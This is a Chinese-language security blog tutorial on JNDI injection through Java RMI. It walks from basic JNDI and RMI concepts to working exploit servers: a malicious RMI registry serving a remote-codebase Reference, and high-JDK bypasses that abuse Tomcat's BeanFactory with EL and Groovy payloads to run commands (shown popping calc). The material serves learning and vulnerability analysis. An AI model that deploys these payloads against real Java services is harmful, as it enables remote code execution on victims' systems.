java_web学习之路(四):JNDI注入


java_web学习之路(四):JNDI注入

从零学习利用RMI进行JNDI注入

JNDI

先来看看oracle官方对于JNDI的描述

The Java Naming and Directory Interface (JNDI) is an application programming interface (API) that provides naming and directory functionality to applications written using the JavaTM programming language. It is defined to be independent of any specific directory service implementation. Thus a variety of directories–new, emerging, and already deployed–can be accessed in a common way.

笔者的英语水平捉襟见肘,但读者们对于这一段英文描述应该能够大概理解:

JNDI的全名是The Java Naming and Directory Interface ,翻译过来就是JAVA命名和目录接口,它是为JAVA应用程序提供命名和目录访问服务的API。那么在JAVA中,什么是命名(Naming)和目录(Directory)呢?

JNDI中的命名(Naming)

JNDI中的命名操作,就是将Java对象以某个名称的形式绑定到一个容器(Context)环境中,以后调用容器的lookup方法可以查找到某个名称所绑定的对象,方便后续利用。容器(Context)本身也是一个Java对象,也即是说,存在一种套娃行为,即把一个容器用一个名称绑定到另一个容器上,产生父子级联的关系,形成一种树状结构。

如果我们想获得Context树中的一个Java对象,首先要得到这个Java对象所在的Context对象,当我们调用某个Context对象的lookup方法时,我么不仅仅只能获取到当前Context容器中绑定的对象,只需要在lookup方法中指定相应的Context路径,我们可以获取到Context树中所绑定的任何一个对象。类似于文件的相对路径。

无论如何,程序必须获得一个作为操作入口的Context对象后才能执行各种JNDI命名操作,为此,JNDI API中提供了一个InitialContext类来创建用作JNDI命名操作的入口Context对象。Context是一个接口,Context对象实际上是Context的某个实现类的实例对象,选择这个具体的Context实现类并创建其实例对象的过程是由一个Context工厂类来完成的,这个工厂类的类名可以通过JNDI的环境属性java.naming.factory.initial指定,也可以根据Context的操作方法的url参数的Schema来选择。

JNDI中的目录(Directory)

首先我们要对JNDI目录的概念有一个了解,JNDI目录与文件系统中的目录概念区别很大,JNDI目录是指将一个对象的所有属性信息保存到一个容器环境中,JNDI API中提供的代表目录容器环境的类为DirContext,DirContext是Context的子类,所以DirContext也能实现父类的命名操作。DirContext是对Context的扩展,它在Context的基础上增加了对目录属性的操作功能,可以在其中绑定对象的属性信息和查找对象的属性信息。与Context的操作原理类似,JNDI API中提供了一个InitialDirContext类来创建用作JNDI命名与目录属性操作的入口DirContext对象。

RMI

讲明白JNDI注入必然逃不掉RMI,在低版本(<6u132||7u122||8u113)的jdk中,使用RMI配合JNDI注入是很方便的攻击方式(同时也是上古时期的JNDI注入利用方式)

我们先看看wiki对于RMI的解释:

Java remote method invocation

In computing, the Java Remote Method Invocation (Java RMI) is a Java API that performs remote method invocation, the object-oriented equivalent of remote procedure calls (RPC), with support for direct transfer of serialized Java classes and distributed garbage-collection.

remote method invocation,从英文字面的意思我们就能理解,RMI实际上就是一个实现调用远程类方法(在网络上提前部署好的类方法)的Java API,将需要的类部署于网络方便开发者进行方法调用。

Oracle官方的例子

我们直接去Oracle官方的文档查看RMI最简单的例子。

在这个example中一共需要三个文件:

  • Hello.java
  • Server.java
  • Client.java

要实现RMI,RMI的客户端和服务端都需要实现一个接口,这个接口就是上面的Hello.java:

package com;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello () throws RemoteException;
}

服务端代码 Server.java

package com;

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class Server implements Hello {

    public Server() {}

    public String sayHello() {
        return "Hello, world!";
    }

    public static void main(String args[]) {

        try {
            Server obj = new Server();
            Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 0);

            // Bind the remote object's stub in the registry
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("Hello", stub);

            System.err.println("Server ready");
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

客户端代码 Client.java

package com;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {

    private Client() {}

    public static void main(String[] args) {

        String host = (args.length < 1) ? null : args[0];
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            Hello stub = (Hello) registry.lookup("Hello");
            String response = stub.sayHello();
            System.out.println("response: " + response);
        } catch (Exception e) {
            System.err.println("Client exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

先运行Server.java,看到抛出了Server ready表示服务端已经准备好。接着我们去运行Client.java,成功运行helloworld:

image-20220325204027364

首先,像我们刚才说的那样,有一个extends Remote的接口Hello.java,可以供Server.java实现。

在Server.java中,我们先是重写了sayHello这个方法,使其输出字符串,在main方法中做了如下操作:

  • Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 0);:生成一个实例stub,stub(存根)看作远程对象在本地的一个代理,包括远程对象的具体信息,客户端可以通过这个代理和服务端进行交互,其中存在已经重写完的sayHello方法。
  • Registry registry = LocateRegistry.createRegistry(1099);:实现“RMI注册表”,端口为1099
  • registry.bind("Hello", stub);:将Hello与stub绑定,实现RMI注册。

启动Server.java之后,我们运行Client.java,主要操作:

  • Registry registry = LocateRegistry.getRegistry(1099);:获取远程(在本例中是本地起的模拟远程服务)的RMI注册表。指定端口为1099
  • Hello stub = (Hello) registry.lookup("Hello");:获取服务端中Hello所对应的类对象,并且实例化,注意**registry.lookup(“Hello”)**实现了在注册表中查询的功能
  • 后面就是调用sayHello方法,不再叙述

image-20220402223543021

利用RMI进行JNDI注入

梳理完了上面所说的RMI案例,我们很快就能意识到,RMI的功能本身是存在漏洞问题的。RMI从宏观角度来说,是加载一个远程的类方法,使其能在本地被调用。那如果我们部署一个恶意类,让Client去加载,就能实现对Client端的攻击。

JNDI与RMI的关系

既然我们要实现利用RMI进行JNDI注入,我们就得首先理清JNDI与RMI的关系。我们回到文章开头的这张图上:

这是oracle官方挂的JNDI架构图,我们能发现JNDI主要由JNDI API和JNDI SPI两部分组成,Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务器如LDAP, DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。

也就是说,RMI在JNDI这里,就是我们之前提到的Context或者DirContext对象。我们可以利用JNDI加载RMI的远程方法。我们来看看代码是怎么实现的。之前演示RMI的Server.java不用修改(不用洗锅qwq),我们编辑一个JNDI客户端代码如下:

package com;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Properties;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        Properties properties = new Properties();
        properties.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        properties.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        Context context = new InitialContext(properties);
        Hello stub = (Hello) context.lookup("rmi://localhost:1099/Hello");
        System.out.println(stub.sayHello());
    }
}

启动Server.java之后运行JNDIClient.java可以发现成功输出了Hello World。我们来对JNDIClient.java的代码进行解释:

Context.INITIAL_CONTEXT_FACTORY指定JNDI具体处理的类名称,例如RMI为com.sun.jndi.rmi.registry.RegistryContextFactoryLDAP为com.sun.jndi.ldap.LdapCtxFactory

properties.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

properties.put(Context.PROVIDER_URL, "rmi://localhost:1099");

这两行代码分别定义了INITIAL_CONTEXT_FACTORY和PROVIDER_URL,即JNDI具体处理的类名称和提供RMI服务端的地址端口。

Context context = new InitialContext(properties);实例化一个context对象

Hello stub = (Hello) context.lookup("rmi://localhost:1099/Hello");的操作就和之前RMI客户端的操作类似了,获取服务端中Hello所绑定的类对象,并且实例化。最后去调用次此对象中的sayHello方法。

image-20220327202602968

构建攻击

jdk版本:1.8.0_73

看完整个demo的调用流程,我们大概能猜到JNDI的注入利用方式:我们如果控制了context.lookup(“injection”);中的injection,就可以在远程起一个包含恶意方法的RMI服务,将injection指向这个服务,就可以在客户端执行恶意方法。

首先我们编译一个恶意类(弹个计算器)calc.class,然后编辑RMI恶意服务端代码RMIServer.java

package com;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(6666);
        Reference reference = new Reference("calc", "calc", "file:///C:/Users/86178/IdeaProjects/JNDI/out/production/JNDI/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("calc",wrapper);
    }
}

可以看到这个RMIServer.java和我们之前的Server.java有很大不同。在这里我们实例化了一个reference,其中包含了如何去寻找一个factory类的信息。在JNDI与RMI的通信中,RMI接收到JNDI客户端的请求后,实际上是返回了一个reference对象

Reference的构造:

Reference(String className, String factory, String factoryLocation),其中className是加载时所用到的类名,factory是所加载的类中实例化的名称,factoryLocation是提供加载的地址。在上面的代码中,因为恶意类我放在本地,所以这个地址我使用的协议是file,也可以使用http或者ftp加载远程的恶意class。

JNDI客户端收到reference之后根据reference去加载factory类,也就是这里我们构造的恶意类calc.class。

接着我们模拟一个被攻击的冤种JNDI客户端YuanZhongClient.java:

package com;

import javax.naming.InitialContext;

public class YuanZhongClient {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("rmi://localhost:6666/calc");
    }
}

成功加载恶意类,弹出计算器

image-20220402223707159

攻击过程分析

我们在new InitialContext().lookup("rmi://localhost:6666/calc");处下断点,进入lookup方法:

image-20220327214942514

这里先返回的是return getURLOrDefaultInitCtx(name).lookup(name);,我们继续跟进lookup方法:

image-20220327215121008

var1是rmi地址和获取的注册名calc,var2获取到根Context,在var3的lookup方法中,从指定的RMI 注册中心获取对象,我们继续跟进

image-20220327215422164

走到其中的decodeObject方法,我们根据这个方法名大致可以推断出,这里对RMI恶意服务端传来的reference进行了decode,并且获取了对象。我们进入其中:

image-20220327215647062

走到这里,获取reference的内容就很清晰了,var3的内容就包括恶意RMI服务端传过来的我们精心构造好的reference,我们看到下面还有NamingManager.getObjectInstance方法,进入:

image-20220327220355908

走到NamingManager.getObjectInstance方法如上图所示的位置,看到这行代码,我们立马就能明白,这里通过getObjectFactoryFromReference(ref, f);获取到了我们需要的工厂类。来都来了,我们继续深入,进去康康:

static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class<?> clas = null;

    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

clas是使用类加载器获取的目标类,先是使用helper.loadClass(factoryName);尝试获取到目标类进而加载文件,下面的if语句进行判断上一步是否成功获得,失败的话进入if语句,进入后定义一个codebase,我们能猜到这就是目标代码的位置,结合factoryName和codebase,定位到目标类并且加载文件。最后使用return (clas != null) ? (ObjectFactory) clas.newInstance() : null; 实例化,触发我们恶意类中的恶意方法。

我在调试的过程中,并没有进入if语句的clas = helper.loadClass(factoryName, codebase);,因为在上面的helper.loadClass(factoryName);后,clas就已经指向我们本地的calc.class了。我回想起来,在上面的恶意服务端RMIServer.java中,我们定义的reference中factoryLocation使用的是file协议,指向本地的恶意类,所以在第一个helper.loadClass就成功获取到了恶意类。我们想要进入if中的clas = helper.loadClass(factoryName, codebase);就需要将恶意class挂在远程。

我在mac上使用python起一个简易的http.server,将同样的恶意类编译成class文件后放入,

将恶意RMI服务端中指定要加载的类(reference的factoryLocation参数)使用http协议指向我们mac上的calc.class,重新运行server和client,成功触发。我们接着调试:

image-20220328150919565

这次成功进入了if语句进行判断,codebase指向mac的简易http服务器,使用factoryName和codebase获取到了恶意类。

修复

在JDK 6u132, JDK 7u122, JDK 8u113 中,oracle将系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase默认值改为false,不允许从远程的codebase加载工厂类。

高版本下RMI的利用方式

确定思路

我们看到Oracle官方给出的修复是默认不加载codebase,也就是说默认不能从远程加载class,但是读者们应该还记得,我们使用file协议的时候,并没有进入后面的if,也就是说没用用到codebase进行远程加载。实际上,他的加载机制是先从本地的CLASSPATH寻找是否存在该类,如果不存在,再去使用codebase进行远程加载。在使用file协议测试的时候,file协议指向的是我们本地的恶意class文件路径,这里就算是使用了http协议,指向localhost上部署的恶意class,加载器还是会查找CLASSPATH,加载本地类。有兴趣的读者可以自行验证

那既然不能加载远程的恶意类,那我们能不能在本地找到可以利用的类方法,其可以满足我们的攻击需求呢?之前我们调试的时候,在NamingManager.java中:

image-20220402180222036

factory = getObjectFactoryFromReference(ref, f);使用了getObjectFactoryFromReference方法加载一个工厂类,获取到的factory 类在下面一行调用了getObjectInstance方法,且其中的参数是我们伪造reference可控的。所以我们需要找到一个类,满足下列条件:

  • 实现javax.naming.spi.ObjectFactory 接口,因为在getObjectFactoryFromReference最后返回的实例对象有一个类型转换
  • getObjectInstance方法
  • getObjectInstance方法中存在可构成攻击向量的行为或者可进一步利用的方法
  • 存在于JDK原生库中或者常见第三方库

代码分析

大佬们最终寻找到Tomcat依赖包中的org.apache.naming.factory.BeanFactory。我们来细看getObjectFactoryFromReference方法:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>
public class BeanFactory implements ObjectFactory {
    public BeanFactory() {
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
        if (obj instanceof ResourceRef) {
            NamingException ne;
            try {
                Reference ref = (Reference)obj;
                String beanClassName = ref.getClassName();
                Class<?> beanClass = null;
                ClassLoader tcl = Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch (ClassNotFoundException var26) {
                    }
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);
                    } catch (ClassNotFoundException var25) {
                        var25.printStackTrace();
                    }
                }

                if (beanClass == null) {
                    throw new NamingException("Class not found: " + beanClassName);
                } else {
                    BeanInfo bi = Introspector.getBeanInfo(beanClass);
                    PropertyDescriptor[] pda = bi.getPropertyDescriptors();
                    Object bean = beanClass.newInstance();
                    RefAddr ra = ref.get("forceString");
                    Map<String, Method> forced = new HashMap();
                    String value;
                    String propName;
                    int i;
                    if (ra != null) {
                        value = (String)ra.getContent();
                        Class<?>[] paramTypes = new Class[]{String.class};
                        String[] arr$ = value.split(",");
                        i = arr$.length;

                        for(int i$ = 0; i$ < i; ++i$) {
                            String param = arr$[i$];
                            param = param.trim();
                            int index = param.indexOf(61);
                            if (index >= 0) {
                                propName = param.substring(index + 1).trim();
                                param = param.substring(0, index).trim();
                            } else {
                                propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
                            }

                            try {
                                forced.put(param, beanClass.getMethod(propName, paramTypes));
                            } catch (SecurityException | NoSuchMethodException var24) {
                                throw new NamingException("Forced String setter " + propName + " not found for property " + param);
                            }
                        }
                    }

                    Enumeration e = ref.getAll();

                    while(true) {
                        while(true) {
                            do {
                                do {
                                    do {
                                        do {
                                            do {
                                                if (!e.hasMoreElements()) {
                                                    return bean;
                                                }

                                                ra = (RefAddr)e.nextElement();
                                                propName = ra.getType();
                                            } while(propName.equals("factory"));
                                        } while(propName.equals("scope"));
                                    } while(propName.equals("auth"));
                                } while(propName.equals("forceString"));
                            } while(propName.equals("singleton"));

                            value = (String)ra.getContent();
                            Object[] valueArray = new Object[1];
                            Method method = (Method)forced.get(propName);
                            if (method != null) {
                                valueArray[0] = value;

                                try {
                                    method.invoke(bean, valueArray);
                                } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
                                    throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
                                }
                            } else {
                                int i = false;

                                for(i = 0; i < pda.length; ++i) {
                                    if (pda[i].getName().equals(propName)) {
                                        Class<?> propType = pda[i].getPropertyType();
                                        if (propType.equals(String.class)) {
                                            valueArray[0] = value;
                                        } else if (!propType.equals(Character.class) && !propType.equals(Character.TYPE)) {
                                            if (!propType.equals(Byte.class) && !propType.equals(Byte.TYPE)) {
                                                if (!propType.equals(Short.class) && !propType.equals(Short.TYPE)) {
                                                    if (!propType.equals(Integer.class) && !propType.equals(Integer.TYPE)) {
                                                        if (!propType.equals(Long.class) && !propType.equals(Long.TYPE)) {
                                                            if (!propType.equals(Float.class) && !propType.equals(Float.TYPE)) {
                                                                if (!propType.equals(Double.class) && !propType.equals(Double.TYPE)) {
                                                                    if (!propType.equals(Boolean.class) && !propType.equals(Boolean.TYPE)) {
                                                                        throw new NamingException("String conversion for property " + propName + " of type '" + propType.getName() + "' not available");
                                                                    }

                                                                    valueArray[0] = Boolean.valueOf(value);
                                                                } else {
                                                                    valueArray[0] = Double.valueOf(value);
                                                                }
                                                            } else {
                                                                valueArray[0] = Float.valueOf(value);
                                                            }
                                                        } else {
                                                            valueArray[0] = Long.valueOf(value);
                                                        }
                                                    } else {
                                                        valueArray[0] = Integer.valueOf(value);
                                                    }
                                                } else {
                                                    valueArray[0] = Short.valueOf(value);
                                                }
                                            } else {
                                                valueArray[0] = Byte.valueOf(value);
                                            }
                                        } else {
                                            valueArray[0] = value.charAt(0);
                                        }

                                        Method setProp = pda[i].getWriteMethod();
                                        if (setProp == null) {
                                            throw new NamingException("Write not allowed for property: " + propName);
                                        }

                                        setProp.invoke(bean, valueArray);
                                        break;
                                    }
                                }

                                if (i == pda.length) {
                                    throw new NamingException("No set method found for property: " + propName);
                                }
                            }
                        }
                    }
                }
            } catch (IntrospectionException var27) {
                ne = new NamingException(var27.getMessage());
                ne.setRootCause(var27);
                throw ne;
            } catch (IllegalAccessException var28) {
                ne = new NamingException(var28.getMessage());
                ne.setRootCause(var28);
                throw ne;
            } catch (InstantiationException var29) {
                ne = new NamingException(var29.getMessage());
                ne.setRootCause(var29);
                throw ne;
            } catch (InvocationTargetException var30) {
                Throwable cause = var30.getCause();
                if (cause instanceof ThreadDeath) {
                    throw (ThreadDeath)cause;
                } else if (cause instanceof VirtualMachineError) {
                    throw (VirtualMachineError)cause;
                } else {
                    NamingException ne = new NamingException(var30.getMessage());
                    ne.setRootCause(var30);
                    throw ne;
                }
            }
        } else {
            return null;
        }
    }
}

代码很长,但是我们要搞清楚利用思路,就需要一点一点分析

我们在几个关键位置下断点:

  • Object bean = beanClass.newInstance();
  • Class<?>[] paramTypes = new Class[]{String.class};
  • forced.put(param, beanClass.getMethod(propName, paramTypes));
  • Method method = (Method)forced.get(propName);
  • method.invoke(bean, valueArray);

在代码的开头我们看到这里传入的并不是Reference,而是ResourceRef,这是一个继承了Reference的类,我们后面构造恶意RMI服务器的时候会实例化一个ResourceRef类,其中传入的参数都是我们可控的。

我们直接看第一个断点:Object bean = beanClass.newInstance();这里实例化了一个对象,类是beanClass,我们往上看beanClass是什么东西:beanClass = tcl.loadClass(beanClassName);其中的beanClassName来自于ref,也就是说beanClassName可控,导致实例化的对象bean也是可控的。

我们看第二个断点:Class<?>[] paramTypes = new Class[]{String.class};这里是对一个参数paramTypes进行了定义,要求必须是String.class类型。先埋个伏笔,后面会提到。

第三个断点:forced.put(param, beanClass.getMethod(propName, paramTypes));前面的forced是之前定义的一个HashMap,使用put方法放入键和值。值的类型很令人在意,是一个反射获取beanClass方法。上面我们说过,beanClass可控,paramTypes定义为String.class,propName要是可控岂不美哉。我们细看propName的来源:

propName<----param<----arr$<----value<----ra.getContent()<----ref

ref可控,是不是意味着propName的值也是可控?我们看这一系列数据处理:先获取ref中forceString对应的数据赋给ra,value = (String)ra.getContent();再以string类型赋给value。将value的数据以逗号分割开,赋给数组arr$进行遍历:

image-20220402204207419

进行了等号分割(ascii中61对应等号),左边的作为param,右边的作为propName。接着就是上面说的第三个断点了

第四,第五个断点我们一起来看。

Method method = (Method)forced.get(propName);//第四个断点
if (method != null) {
    valueArray[0] = value;

    try {
    	method.invoke(bean, valueArray);//第五个断点

在第四个断点处获取forced中存的方法,并且在第五个断点处调用,valueArray的值同样来源于ref,可控。到这里我们可以实现调用任意一个类的任意方法,这个类\方法需要满足:

  • 是JDK自带的库或者很常见的库
  • 因为是JavaBean,需要有一个public的无参数构造函数
  • 只存在一个方法,只有一个参数为String.class类型(第二个断点我们埋的伏笔),且此方法可构成攻击向量

又开始找了2333

利用javax.el.ELProcessor#eval

8u192 with

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>

<dependency>
    <groupId>org.apache.el</groupId>
    <artifactId>com.springsource.org.apache.el</artifactId>
    <version>7.0.26</version>
</dependency>

javax.el.ELProcessor#eval满足我们的条件;eval方法是执行EL表达式。EL表达式借鉴于JavaScript和XPath,主要作用是在Java Web应用程序嵌入到网页(如JSP)中,用以访问页面的上下文以及不同作用域中的对象,取得对象属性的值,或执行简单的运算或判断操作。类似于PHP中的twig。我们直接构造RMI恶意服务器代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws Exception{

        Registry registry = LocateRegistry.createRegistry(6666);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        
        ref.add(new StringRefAddr("forceString", "m1yuu=eval"));
        
        ref.add(new StringRefAddr("m1yuu", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("exp", referenceWrapper);

    }
}

运行老朋友YuanZhongClient.java,进行调试:

如图是获取到的ref对象

image-20220402212229480

调试到beanClass = tcl.loadClass(beanClassName);,这里加载了javax.el.ELProcessor类

image-20220402213321763

Object bean = beanClass.newInstance();进行了实例化,获取到forceString参数对应的值,赋给ra:

image-20220402213653339

执行完forced.put(param, beanClass.getMethod(propName, paramTypes));后,forced结构:

image-20220402214854243

走到第四个断点,此时method就是反射获得的public java.lang.Object javax.el.ELProcessor.eval(java.lang.String),第五个断点中的参数valueArray即为EL表达式,作为public java.lang.Object javax.el.ELProcessor.eval(java.lang.String)方法的参数,成功执行触发漏洞。

利用groovy.lang.GroovyShell#evaluate

8u192 with

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy</artifactId>
    <version>2.4.5</version>
</dependency>

直接给出exp:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer2 {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(6666);

        ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        resourceRef.add(new StringRefAddr("forceString", "m1yuu=parseClass"));
        resourceRef.add(new StringRefAddr("m1yuu","@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"calc\")\n})\ndef m1yuu\n"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("exp", referenceWrapper);
    }
}

运行的参数(valueArray[0])为

image-20220402221803017

后续更多利用

浅蓝师傅前段时间发了一篇探索高版本 JDK 下 JNDI 漏洞的利用方法,里面详细介绍了更多可利用的类。(不愧是大佬,一找就是十几个),如果对本文进行总结的话,只是讲述了利用RMI进行JNDI注入从0到0.1,后面还有很大空间等待读者们自行去寻找可利用的类。

reference:

https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/hello/hello-world.html

https://blog.csdn.net/u010430304/article/details/54601302

https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html

https://xz.aliyun.com/t/8214

https://tttang.com/archive/1405/

https://xz.aliyun.com/t/10671


文章作者: m1yuu
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 m1yuu !
  目录